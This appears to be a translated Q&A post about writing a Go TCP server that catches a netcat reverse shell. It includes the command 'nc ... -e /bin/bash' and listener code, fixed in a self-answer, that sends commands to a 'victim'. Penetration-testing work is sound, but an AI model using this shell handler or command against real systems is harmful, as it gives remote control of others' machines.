如何捕获netcat反向外壳?

时间:2018-10-24 16:36:44

标签: go server netcat penetration-testing

我正在Go中使用TCP服务器。 TCP服务器必须能够从netcat捕获反向shell:

$ nc 127.0.0.1 8080 -e /bin/bash

我应该能够发送命令并接收响应;但是,我的服务器在收到连接后似乎只是挂起。

我认为问题出在bufio.NewReader(conn).ReadString('\ n')行,但我不知道如何解决。

请提供任何解决方案,谢谢!

服务器代码(注意:为简便起见,省略了错误处理):

func main() {
    ln, _ := net.Listen("tcp", "127.0.0.1:8080")
    for {
        conn, _ := ln.Accept()
        handleConn(conn)
    }
}

func handleConn(conn net.Conn) {
    for {
        // Receive data from netcat victim
        data, _ := bufio.NewReader(conn).ReadString('\n')
        fmt.Println(data)

        // Read command from Stdin then send to netcat victim
        reader := bufio.NewReader(os.Stdin)
        cmd, _ := reader.ReadString('\n')
        fmt.Fprintln(conn, cmd)
    }
}

1 个答案:

答案 0 :(得分:1)

发布问题后,我立即解决了我的问题(噢!)。 无论如何,解决方案很简单:颠倒读写逻辑。 之后,一切都按预期进行。

这是固定代码:

func handleConn(conn net.Conn) {
    fmt.Println("Connection received.")
    for {
        // Read command from Stdin and send to victim
        reader := bufio.NewReader(os.Stdin)
        cmd, _ := reader.ReadString('\n')
        fmt.Fprintln(conn, cmd)

        // Receive input from connection
        data, _ := bufio.NewReader(conn).ReadString('\n')
        fmt.Println(data)
    }
}